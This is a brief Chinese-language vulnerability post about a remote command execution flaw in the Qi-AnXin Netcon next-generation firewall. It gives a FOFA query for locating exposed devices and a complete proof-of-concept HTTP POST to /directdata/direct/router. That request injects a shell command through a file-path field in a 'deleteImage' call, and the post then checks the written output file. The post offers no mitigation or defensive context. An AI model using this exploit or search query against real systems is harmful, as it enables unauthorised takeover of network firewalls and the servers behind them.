奇安信网康下一代防火墙directdata存在远程命令执行漏洞
奇安信网康下一代防火墙（NGFW）是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙，存在远程命令执行，通过漏洞攻击者可以获取服务器权限。
fofa
app="网康下一代防火墙"
poc
POST /directdata/direct/router HTTP/1.1
Host:
Connection: close
Content-Length: 160
Upgrade-Insecure-Requests: 1
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;id >/var/www/html/test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
然后访问https://xxxx.xxx/test.txt
发现，命令已经成功执行
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